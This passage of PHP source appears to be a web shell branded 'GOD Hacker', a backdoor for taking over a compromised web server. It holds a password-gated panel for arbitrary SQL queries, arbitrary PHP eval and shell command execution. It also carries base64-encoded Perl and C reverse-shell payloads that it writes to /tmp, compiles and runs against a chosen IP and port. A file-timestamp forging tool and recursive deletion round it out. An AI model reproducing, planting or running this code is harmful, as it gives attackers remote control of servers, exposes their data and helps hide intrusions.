752 $lnk=dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
753 $mysqlver = mysql_get_server_info();
754 p('<form id="setdbname" method="post" action="'.$self.'">
755 <p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
756 $highver = $mysqlver > '4.1' ? 1 : 0;
757 $query = q("SHOW DATABASES");
758 $dbs = array();
759 $dbs[] = '-- Select a database --';
760 while($db = mysql_fetch_array($query)) {
761 $dbs[$db['Database']] = $db['Database'];
762 }
763 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
764 p('</form>');
765 $tabledb = array();
766 if($dbname) {
767 p('<p>');
768 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
769 if($tablename) {
770 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');}
771 p('</p>');
772 mysql_select_db($dbname);
773 $getnumsql = '';
774 $runquery = 0;
775 if($sql_query) {
776 $runquery = 1;
777 }
778 $allowedit = 0;
779 if($tablename && !$sql_query) {
780 $sql_query = "SELECT * FROM $tablename";
781 $getnumsql = $sql_query;
782 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
783 $allowedit = 1;
784 }
785 p('<form action="" method="post">');
786 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
787 makehide('tablename', $tablename);
788 makehide('haz','sqladmin');
789 p($dbform);
790 p('</form>');
791 if($tablename || ($runquery && $sql_query)) {
792 if($doing == 'structure') {
793 $result = q("SHOW COLUMNS FROM $tablename");
794 $rowdb = array();
795 while($row = mysql_fetch_array($result)) {
796 $rowdb[] = $row;
797 }
798 p('<table border="0" cellpadding="3" cellspacing="0">');
799 p('<tr class="head">');
800 p('<td>Field</td>');
801 p('<td>Type</td>');
802 p('<td>Null</td>');
803 p('<td>Key</td>');
804 p('<td>Default</td>');
805 p('<td>Extra</td>');
806 p('</tr>');
807 foreach ($rowdb as $row) {
808 $thisbg = bg();
809 p('<tr class="'.$tbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$tbg.'\';">');
810 p('<td>'.$row['Field'].'</td>');
811 p('<td>'.$row['Type'].'</td>');
812 p('<td>'.$row['Null'].' </td>');
813 p('<td>'.$row['Key'].' </td>');
814 p('<td>'.$row['Default'].' </td>');
815 p('<td>'.$row['Extra'].' </td>');
816 p('</tr>');
817 }
818 tbfoot();
819 } elseif($doing == 'insert' || $doing == 'edit') {
820 $result = q('SHOW COLUMNS FROM '.$tablename);
821 while ($row = mysql_fetch_array($result)) {
822 $rowdb[] = $row;
823 }
824 $rs = array();
825 if($doing == 'insert') {
826 p('<h2>Insert new line in '.$tablename.' table »</h2>');
827 } else {
828 p('<h2>Update record in '.$tablename.' table »</h2>');
829 $where = base64_decode($base64);
830 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
831 $rs = mysql_fetch_array($result);
832 }
833 p('<form method="post" action="'.$self.'">');
834 p($dbform);
835 makehide('haz','sqladmin');
836 makehide('tablename',$tablename);
837 p('<table border="0" cellpadding="3" cellspacing="0">');
838 foreach ($rowdb as $row) {
839 if($rs[$row['Field']]) {
840 $value = htmlspecialchars($rs[$row['Field']],ENT_QUOTES);
841 } else {
842 $value = '';
843 }
844 $tbg = bg();
845 p('<tr class="'.$tbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$tbg.'\';">');
846 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
847 }
848 if($doing == 'insert') {
849 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
850 } else {
851 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
852 makehide('base64', $base64);
853 }
854 p('</table></form>');
855 } else {
856 $querys = @explode(';',$sql_query);
857 foreach($querys as $num=>$query) {
858 if($query) {
859 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
860 switch(qy($query)) {
861 case 0:
862 p('<h2>Error : '.mysql_error().'</h2>');
863 break;
864 case 1:
865 if(strtolower(substr($query,0,13)) == 'select * from') {
866 $allowedit = 1;
867 }
868 if($getnumsql) {
869 $tatol = mysql_num_rows(q($getnumsql));
870 $multipage = multi($tatol, $pagenum, $page, $tablename);
871 }
872 if(!$tablename) {
873 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
874 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
875 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
876 $tablename = $matches[1][0];
877 }
878 $result = q($query);
879 p($multipage);
880 p('<table border="0" cellpadding="3" cellspacing="0">');
881 p('<tr class="head">');
882 if($allowedit) p('<td>Action</td>');
883 $fieldnum = @mysql_num_fields($result);
884 for($i=0;$i<$fieldnum;$i++){
885 $name = @mysql_field_name($result, $i);
886 $type = @mysql_field_type($result, $i);
887 $len = @mysql_field_len($result, $i);
888 p("<td class=\"nw\">$name<br /><span>$type($len)</span></td>");
889 }
890 p('</tr>');
891 while($mn = @mysql_fetch_assoc($result)){
892 $tbg = bg();
893 p('<tr class="'.$tbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$tbg.'\';">');
894 $where = $tmp = $b1 = '';
895 foreach($mn as $key=>$inside){
896 if($inside) {
897 $where .= $tmp.$key."='".addslashes($inside)."'";
898 $tmp = ' AND ';
899 }
900 $b1 .= '<td class="nw">'.html_clean($inside).' </td>';
901 }
902 $where = base64_encode($where);
903 if($allowedit) p('<td class="nw"><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
904 p($b1);
905 p('</tr>');
906 unset($b1);
907 }
908 tbfoot();
909 p($multipage);
910 break;
911 case 2:
912 $ar = mysql_affected_rows();
913 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
914 break;
915 }
916 }
917 }
918 }
919 } else {
920 $query = q("SHOW TABLE STATUS");
921 $table_num = $table_rows = $data_size = 0;
922 $tabledb = array();
923 while($table = mysql_fetch_array($query)) {
924 $data_size = $data_size + $table['Data_length'];
925 $table_rows = $table_rows + $table['Rows'];
926 $table['Data_length'] = sizecount($table['Data_length']);
927 $table_num++;
928 $tabledb[] = $table;
929 }
930 $data_size = sizecount($data_size);
931 unset($table);
932 p('<table border="0" cellpadding="0" cellspacing="0">');
933 p('<form action="'.$self.'" method="post">');
934 makehide('haz','sqladmin');
935 p($dbform);
936 p('<tr class="head">');
937 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
938 p('<td>Name</td>');
939 p('<td>Rows</td>');
940 p('<td>Data_length</td>');
941 p('<td>Create_time</td>');
942 p('<td>Update_time</td>');
943 if($highver) {
944 p('<td>Engine</td>');
945 p('<td>Collation</td>');
946 }
947 p('</tr>');
948 foreach ($tabledb as $key => $table) {
949 $tbg = bg();
950 p('<tr class="'.$tbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$tbg.'\';">');
951 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
952 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
953 p('<td>'.$table['Rows'].'</td>');
954 p('<td>'.$table['Data_length'].'</td>');
955 p('<td>'.$table['Create_time'].'</td>');
956 p('<td>'.$table['Update_time'].'</td>');
957 if($highver) {
958 p('<td>'.$table['Engine'].'</td>');
959 p('<td>'.$table['Collation'].'</td>');
960 }
961 p('</tr>');
962 }
963 p('<tr class="'.bg().'">');
964 p('<td> </td>');
965 p('<td>Total tables: '.$table_num.'</td>');
966 p('<td>'.$table_rows.'</td>');
967 p('<td>'.$data_size.'</td>');
968 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
969 p('</tr>');
970 p('<tr class="'.bg().'"><td colspan="'.($highver ? 8 : 6).'"><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="'.F_ROOT.$_SERVER['HTTP_HOST'].'_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>');
971 makehide('doing','backupmysql');
972 p("</form>\n</table>");
973 fr($query);
974 }
975 }
976 }
977 tbfoot();
978 mysql_close($lnk);
979}
980elseif($haz == 'bconx') {
981 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
982 !$yourport && $yourport = '12345';
983 $usedb = array('perl'=>'perl','c'=>'c');
984$rv_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
985"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
986"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
987"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
988"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
989"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
990"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
991$rv_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
992"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
993"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
994"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
995"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
996"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
997"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
998"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
999if($start && $yourip && $yourport && $use){
1000 if($use == 'perl') {
1001 sv_file('/tmp/god_bc',@base64_decode($rv_connect));
1002 $res = mycmd(which('perl')." /tmp/god_bc $yourip $yourport &");
1003 } else {
1004 sv_file('/tmp/god_bc.c',@base64_decode($rv_connect_c));
1005 $res = mycmd('gcc -o /tmp/god_bc /tmp/god_bc.c');
1006 @unlink('/tmp/god_bc.c');
1007 $res = mycmd("/tmp/god_bc $yourip $yourport &");
1008 }
1009 m("Now script try connect to $yourip port $yourport ...");
1010 }
1011 formhead(array('title'=>'Back Connect'));
1012 makehide('haz','bconx');
1013 p('<p>');
1014 p('Your IP:');
1015 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1016 p('Your Port:');
1017 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1018 p('Use:');
1019 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1020 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1021 p("</p>\n</form>");
1022}
1023elseif($haz=='evl') {
1024 $phpcode=trim($phpcode);
1025 if($phpcode){
1026 if(!strstr($phpcode,'<?')) {$phpcode="<?php\n{$phpcode}\n?>";}
1027 p('<pre>');
1028 eval("?".">$phpcode<?");
1029 echo'</pre>';
1030 }
1031 formhead(array('title'=>'Eval PHP Code'));
1032 makehide('haz','evl');
1033 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
1034 formfooter();
1035}
1036elseif($haz == 'editfile') {
1037 if(file_exists($opfile)) {
1038 $fp=@fopen($opfile,'r');
1039 $contents=@fread($fp, filesize($opfile));
1040 @fclose($fp);
1041 $contents=htmlspecialchars($contents);
1042 }
1043 formhead(array('title'=>'Create / Edit File'));
1044 makehide('haz','file');
1045 makehide('dir',$nowpath);
1046 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
1047 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1048 formfooter();
1049}
1050elseif($haz == 'newtime') {
1051 $opfilemtime = @filemtime($opfile);
1052 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1053 formhead(array('title'=>'Clone file was last modified time'));
1054 makehide('haz','file');
1055 makehide('dir',$nowpath);
1056 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1057 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
1058 formfooter();
1059 formhead(array('title'=>'Set last modified'));
1060 makehide('haz','file');
1061 makehide('dir',$nowpath);
1062 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1063 p('<p>Instead »');
1064 p('year:');
1065 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1066 p('month:');
1067 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1068 p('day:');
1069 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1070 p('hour:');
1071 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1072 p('minute:');
1073 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1074 p('second:');
1075 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1076 p('</p>');
1077 formfooter();
1078}
1079elseif($haz == 'sh') {
1080 if(IS_WIN && IS_COM) {
1081 if($program && $parameter) {
1082 $shell= new COM('Shell.Application');
1083 $a = $shell->ShellExecute($program,$parameter);
1084 m('Program run has '.(!$a ? 'success' : 'fail'));
1085 }
1086 !$program && $program = 'c:\windows\system32\cmd.exe';
1087 !$parameter && $parameter = '/c net start > '.F_ROOT.'log.txt';
1088 formhead(array('title'=>'Execute Program'));
1089 makehide('haz','sh');
1090 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
1091 p('<p>');
1092 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1093 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1094 p("</p>\n</form>");
1095 }
1096 formhead(array('title'=>'Execute Command'));
1097 makehide('haz','sh');
1098 if(IS_WIN && IS_COM) {
1099 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
1100 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1101 }
1102 p('<p>');
1103 makeinput(array('title'=>'Command','name'=>'ex','value'=>$ex));
1104 makeinput(array('class'=>'bt','type'=>'submit','value'=>'Execute'));
1105 p("</p>\n</form>");
1106 if($ex) {
1107 p('<hr width="100%" noshade><pre>');
1108 if($execfunc=='wscript' && IS_WIN && IS_COM) {
1109 $wsh = new COM('WScript.shell');
1110 $exec = $wsh->exec('cmd.exe /c '.$ex);
1111 $stdout = $exec->StdOut();
1112 $stroutput = $stdout->ReadAll();
1113 echo $stroutput;
1114 } elseif($execfunc=='proc_open' && IS_WIN && IS_COM) {
1115 $descriptorspec = array(
1116 0 => array('pipe', 'r'),
1117 1 => array('pipe', 'w'),
1118 2 => array('pipe', 'w')
1119 );
1120 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1121 if(is_resource($process)) {
1122 fwrite($pipes[0], $ex."\r\n");
1123 fwrite($pipes[0], "exit\r\n");
1124 fclose($pipes[0]);
1125 while (!feof($pipes[1])) {
1126 echo fgets($pipes[1], 1024);
1127 }
1128 fclose($pipes[1]);
1129 while (!feof($pipes[2])) {
1130 echo fgets($pipes[2], 1024);
1131 }
1132 fclose($pipes[2]);
1133 proc_close($process);
1134 }
1135 } else {
1136 echo(htmlspecialchars(mycmd($ex)));
1137 }
1138 p('</pre>');
1139 }
1140}
1141elseif($haz=='env') {
1142 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1143 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1144 $info = array(
1145 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
1146 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1147 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
1148 4 => array('Server OS',PHP_OS),
1149 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
1150 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
1151 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
1152 8 => array('PHP run mode',strtoupper(php_sapi_name())),
1153 9 => array('The file path',$_SERVER['SCRIPT_FILENAME']),
1154 10 => array('PHP Version',PHP_VERSION),
1155 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:gohaz(\'phpinfo\');">Yes</a>' : 'No')),
1156 12 => array('Safe Mode',getcfg('safe_mode')),
1157 13 => array('Administrator',$adminmail),
1158 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1159 15 => array('enable_dl',getcfg('enable_dl')),
1160 16 => array('display_errors',getcfg('display_errors')),
1161 17 => array('register_globals',getcfg('register_globals')),
1162 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
1163 19 => array('Open Basedir',getcfg('open_basedir')),
1164 20 => array('memory_limit',getcfg('memory_limit')),
1165 21 => array('post_max_size',getcfg('post_max_size')),
1166 22 => array('upload_max_filesize',$upsize),
1167 23 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
1168 24 => array('disable_functions',join(' ', nofunc())),
1169 );
1170 if($phpvarname) {
1171 m($phpvarname .' : '.getcfg($phpvarname));
1172 }
1173 formhead(array('title'=>'Server environment'));
1174 makehide('haz','env');
1175 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
1176 formfooter();
1177 $hp = array(0=> 'Server', 1=> 'PHP');
1178 for($a=0;$a<2;$a++) {
1179 p('<h2>'.$hp[$a].' »</h2>');
1180 p('<ul class="info">');
1181 if($a==0) {
1182 for($i=1;$i<=9;$i++) {
1183 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1184 }
1185 } elseif($a == 1) {
1186 for($i=10;$i<=24;$i++) {
1187 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1188 }
1189 }
1190 p('</ul>');
1191 }
1192}else {
1193m('Undefined Action');
1194}
1195?>
1196
1197</td></tr></table>
1198<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
1199<span style="float:right;"><?php debuginfo();ob_end_flush();?></span> Copyright ©2009-<?php echo date('Y');?> <a href="http://god.god/" target="_blank">GOD Hacker</a> All Rights Reserved.
1200</div>
1201</body>
1202</html>
1203<?php
1204function m($m,$c='m') {echo "<div class=\"$c\">$m</div>\n";}
1205function scookie($key, $value, $life = 0, $prefix = 1) {
1206 global $admin, $timestamp, $_SERVER;
1207 $key = ($prefix ? $admin['cookiepre'] : '').$key;
1208 $life = $life ? $life : $admin['cookielife'];
1209 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1210 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1211}
1212function multi($num, $perpage, $curpage, $tablename) {
1213 $multipage = '';
1214 if($num > $perpage) {
1215 $page = 10;
1216 $offset = 5;
1217 $pages = @ceil($num / $perpage);
1218 if($page > $pages) {
1219 $from = 1;
1220 $to = $pages;
1221 } else {
1222 $from = $curpage - $offset;
1223 $to = $curpage + $page - $offset - 1;
1224 if($from < 1) {
1225 $to = $curpage + 1 - $from;
1226 $from = 1;
1227 if(($to - $from) < $page && ($to - $from) < $pages) {
1228 $to = $page;
1229 }
1230 } elseif($to > $pages) {
1231 $from = $curpage - $pages + $to;
1232 $to = $pages;
1233 if(($to - $from) < $page && ($to - $from) < $pages) {
1234 $from = $pages - $page + 1;
1235 }
1236 }
1237 }
1238 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1239 for($i = $from; $i <= $to; $i++) {
1240 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1241 }
1242 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1243 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1244 }
1245 return $multipage;
1246}
1247function loginpage() { ?>
1248
1249<html><head>
1250<meta name="robots" content="noindex,nofollow,noarchive">
1251<style type="text/css">
1252*{font:11px Verdana;}input {background:#FFF;line-height:18px;border:1px solid #666;}
1253</style>
1254</head>
1255<body>
1256<form method="post" action="<?php echo $self;?>">
1257Password: <input name="password" type="password" size="20" value="">
1258<input type="hidden" name="doing" value="login">
1259<input type="submit" value="Login">
1260</form>
1261</body></html>
1262<?php exit;
1263}
1264function mycmd($c) {
1265$re='';
1266 if($c) {
1267 $pi=array(array('pipe','r'),array('pipe','w'),array('pipe','w'));
1268 if(isfunc('popen') && @is_resource($f=popen($c.' 2>&1','r'))) {$re.=gres($f);@pclose($f);}
1269 elseif(isfunc('proc_open') && @is_resource($f=proc_open($c,$pi,$pipes))) {$re.=gres($pipes[1]);$re.=gres($pipes[2]);foreach($pipes as $pp)fclose($pp);@proc_close($f);}
1270 elseif(isfunc('exec')){exec($c,$re);$re=join("\n",$re);}
1271 elseif(isfunc('shell_exec')){$re=shell_exec($c);}
1272 elseif(isfunc('system')) {ob_start();system($c);$re=@ob_get_contents();@ob_end_clean();}
1273 elseif(isfunc('passthru')){ob_start();passthru($c);$re=@ob_get_contents();@ob_end_clean();}
1274 }
1275return $re;
1276}
1277function nofunc(){$r=explode(',',@ini_get("disable_functions"));return empty($r)?array():$r;}
1278function isfunc($f){return (function_exists($f) && is_callable($f) && !in_array($f,nofunc()))?1:0;}
1279function gres($r){if(!isfunc('stream_get_contents')){while(!feof($r)){$re.=fread($r,4096);}}else{$re.=stream_get_contents($r);}return $re;}
1280function which($pr){$path = mycmd("which $pr");return ($path ? $path : $pr);}
1281function sv_file($f,$c) {
1282 if(function_exists('file_put_contents')) {return @file_put_contents($f,$c);}
1283 else{
1284 $r=false;
1285 if($fp=@fopen($f,'w')){
1286 @fwrite($fp,$c);
1287 @fclose($fp);
1288 $r=true;
1289 }
1290 return $r;
1291 }
1292}
1293function debuginfo() {global $starttime;$mtime = explode(' ', microtime());$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);echo 'Processed in '.$totaltime.' second(s)';}
1294function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
1295 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
1296 p('<h2>Can not connect to MySQL server</h2>');
1297 exit;
1298 }
1299 if($link && $dbname) {
1300 if(!@mysql_select_db($dbname, $link)) {
1301 p('<h2>Database selected has error</h2>');
1302 exit;
1303 }
1304 }
1305 if($link && mysql_get_server_info() > '4.1') {
1306 if(in_array(strtolower($charset), array('latin1', 'utf8'))) {
1307 q("SET character_set_connection=$charset, character_set_results=$charset,
1308character_set_client=binary;", $link);
1309 }
1310 }
1311 return $link;
1312}
1313function s_array(&$array) {
1314 if(is_array($array)) {
1315 foreach ($array as $k => $v) {
1316 $array[$k] = s_array($v);
1317 }
1318 } else if(is_string($array)) {
1319 $array = stripslashes($array);
1320 }
1321 return $array;
1322}
1323function html_clean($content) {
1324 $content = htmlspecialchars($content, ENT_QUOTES);
1325 $content = str_replace(array("\n",' ',"\t"), array("<br />",' ',' '), $content);
1326 return $content;
1327}
1328function getChmod($filepath){
1329 return substr(base_convert(@fileperms($filepath),10,8),-4);
1330}
1331function getPerms($filepath) {
1332 $mode = @fileperms($filepath);
1333 if(($mode & 0xC000) === 0xC000) {$type = 's';}
1334 elseif(($mode & 0x4000) === 0x4000) {$type = 'd';}
1335 elseif(($mode & 0xA000) === 0xA000) {$type = 'l';}
1336 elseif(($mode & 0x8000) === 0x8000) {$type = '-';}
1337 elseif(($mode & 0x6000) === 0x6000) {$type = 'b';}
1338 elseif(($mode & 0x2000) === 0x2000) {$type = 'c';}
1339 elseif(($mode & 0x1000) === 0x1000) {$type = 'p';}
1340 else {$type = '?';}
1341 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1342 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1343 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
1344 $group['read'] = ($mode & 00040) ? 'r' : '-';
1345 $group['write'] = ($mode & 00020) ? 'w' : '-';
1346 $group['execute'] = ($mode & 00010) ? 'x' : '-';
1347 $world['read'] = ($mode & 00004) ? 'r' : '-';
1348 $world['write'] = ($mode & 00002) ? 'w' : '-';
1349 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1350 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
1351 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
1352 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
1353 return
1354$type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].
1355$world['write'].$world['execute'];
1356}
1357function getUser($filepath) {
1358 $r='';
1359 if(isfunc('posix_getpwuid')) {
1360 $array = @posix_getpwuid(@fileowner($filepath));
1361 if($array && is_array($array)) {
1362 $r.= ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
1363 }
1364 }
1365 return $r;
1366}
1367function deltree($deldir) {
1368 $mydir=@dir($deldir);
1369 while($file=$mydir->read()) {
1370 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
1371 @chmod($deldir.'/'.$file,0777);
1372 deltree($deldir.'/'.$file);
1373 }
1374 if(is_file($deldir.'/'.$file)) {
1375 @chmod($deldir.'/'.$file,0777);
1376 @unlink($deldir.'/'.$file);
1377 }
1378 }
1379 $mydir->close();
1380 @chmod($deldir,0777);
1381 return @rmdir($deldir) ? 1 : 0;
1382}
